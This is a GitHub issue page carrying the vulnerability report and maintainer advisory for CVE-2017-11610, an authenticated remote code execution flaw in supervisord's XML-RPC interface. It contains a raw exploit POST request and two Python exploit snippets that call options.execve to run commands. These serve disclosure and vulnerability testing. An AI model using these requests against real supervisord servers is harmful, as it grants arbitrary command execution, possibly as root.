Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2017-11610] RCE vulnerability report #964

Closed
MaorShwartz opened this issue Jul 19, 2017 · 3 comments

Comments

2 participants
@MaorShwartz
Copy link

commented Jul 19, 2017

Hi,

I would like to report Authenticated RCE vulnerability found in supervisord latest build.

Please contact me at maors@beyondsecurity.com

@mnaberez

This comment has been minimized.

Copy link
Member

commented Jul 19, 2017

I sent you an email. You can send it to me (@mnaberez) and @mcdonc. Our email addresses are in our profiles.

@mnaberez mnaberez changed the title RCE vulnerability report [CVE-2017-11610] RCE vulnerability report Jul 24, 2017

@mnaberez

This comment has been minimized.

Copy link
Member

commented Jul 24, 2017

This is the original report sent by Maor Shwartz:

Supervisord Authenticated RCE :: Tested on versions 3.1.2 and 3.3.2 (latest)

Summary

Supervisord provides a web server, running on port 9001, that allows users to manage
their processes using a web interface. When this server is enabled, an XMLRPC server is
also enabled at :9001/RPC2

Any user with access to the web interface can also send commands to the XMLRPC endpoint.
Authentication may be required for access, and is determined in the config file.

It is possible to abuse the XMLRPC server to issue restricted and malicious commands at
the OS level as the root user, because of a lack of validation on requested XMLRPC methods.

Description

There are two allowed namespaces for the allowed XMLRPC methods, system and supervisor,
mapped to https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174
and https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/xmlrpc.py#L174,
respectively. Allowed methods include (snippet of the XML response to system.listMethods):

supervisor.getPID
supervisor.getProcessInfo
supervisor.getState
supervisor.getSupervisorVersion
supervisor.getVersion
supervisor.readLog
supervisor.readMainLog
supervisor.readProcessLog
supervisor.readProcessStderrLog
supervisor.readProcessStdoutLog
supervisor.reloadConfig
supervisor.removeProcessGroup
supervisor.restart
supervisor.sendProcessStdin
supervisor.sendRemoteCommEvent
supervisor.shutdown

It is possible to access restricted and malicious functions by appending
supervisord.options to the namespace. In particular, the execve function in
https://github.com/Supervisor/supervisor/blob/3.3.2/supervisor/options.py#L1438 which
simply calls Pythons own os.execve() function.

Exploit

The following POST request illustrates the exploit, by targeting the
supervisor.supervisord.options.execve function it is possible to execute arbitrary
commands as root. The below payload utilises python on the target system to touch a file
at /tmp/blahh:

$ ls -la /tmp/
total 56
drwxrwxrwt 9 root root 4096 Jun 17 12:34 .
drwxr-xr-x 24 root root 4096 Jun 16 10:59 ..
-rw-r--r-- 1 root root 0 Jun 17 12:33 blahh

It is important to note in relation to os.execve(), as stated in the Python docs:
"These functions all execute a new program, replacing the current process", so the
supervisor process will die and cause a DoS after executing the command. This could be
avoided by re-starting the supervisor service at the end of the arbitrary command.

Payload

POST http://192.168.0.15:9001/RPC2 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/xml
Content-Type: text/xml
Accept-Language: en-GB,en;q=0.5
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 503
Host: 192.168.0.15:9001

supervisor.supervisord.options.execve /usr/bin/python python -c import os; os.system("touch /tmp/blahh")
@mnaberez

This comment has been minimized.

Copy link
Member

commented Jul 24, 2017

CVE-2017-11610

Overview

supervisord can be configured to run an HTTP server on a TCP socket and/or a Unix domain socket. The HTTP server is how supervisorctl communicates with supervisord. If an HTTP server has been enabled, it will always serve both HTML pages and an XML-RPC interface. A vulnerability has been found where an authenticated client can send a malicious XML-RPC request to supervisord that will run arbitrary shell commands on the server. The commands will be run as the same user as supervisord. Depending on how supervisord has been configured, this may be root.

This vulnerability can only be exploited by an authenticated client or if supervisord has been configured to run an HTTP server without authentication. If authentication has not been enabled, supervisord will log a message at the critical level every time it starts, similar to:

2017-07-22 19:02:09,719 CRIT Server 'inet_http_server' running without any HTTP authentication checking
2017-07-22 19:02:09,720 CRIT Server 'unix_http_server' running without any HTTP authentication checking

Affected Versions

This vulnerability has existed in all versions of Supervisor since 3.0a1 (released in 2007).

Fixed Versions

The latest release of Supervisor, version 3.3.3, fixes this vulnerability. The fix has also been backported to previous versions. The following fixed versions have been released:

The only change from the previous point releases is the fix for this vulnerability. All users are advised to upgrade.

Details

supervisord has a plugin mechanism where an object can be registered to be exposed over XML-RPC. An object is registered using an rpcinterface: section in the config file. Each object is assigned to an XML-RPC namespace. supervisord itself provides two built-in namespaces, supervisor and system. The supervisor namespace provides methods used by supervisorctl. The system namespace provides methods common to most XML-RPC servers.

An XML-RPC method name takes the form supervisor.getState where the first part (supervisor) is the namespace and the second part (getState) is the method. When an XML-RPC request is received, supervisord looks up the namespace in the objects registered to handle XML-RPC, then calls a method on the object with the parameters sent by the remote.

The XML-RPC namespace lookup in supervisord is recursive. It allows for nested namespaces like a.b.c.methodName. It will start with the object registered to serve the a namespace, and if that object had a b attribute, it will traverse into b, then into c, and finally call methodName on c. There is a security check built in to this traversal: if an object's attribute started with _, the XML-RPC code will not traverse into it.

The vulnerability is that the object registered to serve the supervisor namespace has an attribute supervisord, which should have been prefixed with _ but is not. The supervisord object contains the core functionality of the daemon, and has many methods and objects that were never intended to be exposed to remote clients. The XML-RPC code will traverse into it and allow the remote client access to anything not prefixed with _.

The vulnerability has been fixed by disabling nested namespace lookup entirely. supervisord will now only call methods on the object registered to handle XML-RPC requests and not any child objects it may contain. While this is technically a breaking change, no publicly available plugins are currently known that use nested namespaces. Plugins that use a single namespace will continue to work as before.

The exploits below have been provided so users can test if the version of supervisord they are using is vulnerable.

Exploit 1 (TCP Socket)

Create a config file supervisord.conf:

[supervisord]
loglevel = trace

[inet_http_server]
port = 127.0.0.1:9001

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

Start supervisord in the foreground with that config file:

$ supervisord -n -c supervisord.conf

In a new terminal:

$ python2
>>> from xmlrpclib import ServerProxy
>>> server = ServerProxy('http://127.0.0.1:9001/RPC2')
>>> server.supervisor.supervisord.options.execve('/bin/sh', [], {})

If the supervisord version is vulnerable, the execve will be executed and the supervisord process will be replaced with /bin/sh (or any other command given). If the supervisord version is not vulnerable, it will return an UNKNOWN_METHOD fault.

Exploit 2 (Unix Domain Socket)

Create a config file supervisord.conf:

[supervisord]
loglevel = trace

[unix_http_server]
file = /tmp/supervisord.sock

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface

Start supervisord in the foreground with that config file:

$ supervisord -n -c supervisord.conf

In a new terminal:

$ python2
>>> from xmlrpclib import ServerProxy
>>> from supervisor.xmlrpc import SupervisorTransport
>>> server = ServerProxy('http://127.0.0.1/RPC2',
... SupervisorTransport('', '', 'unix:///tmp/supervisord.sock'))
>>> server.supervisor.supervisord.options.execve('/bin/sh', [], {})

If the supervisord version is vulnerable, the execve will be executed and the supervisord process will be replaced with /bin/sh (or any other command given). If the supervisord version is not vulnerable, it will return an UNKNOWN_METHOD fault.

Acknowledgement

This vulnerability was reported by Maor Shwartz, who requested this acknowledgement:

"An independent security researcher, Calum Hutton, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program."

@Supervisor Supervisor locked and limited conversation to collaborators Jul 24, 2017

@mnaberez mnaberez closed this Jul 24, 2017

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
You can’t perform that action at this time.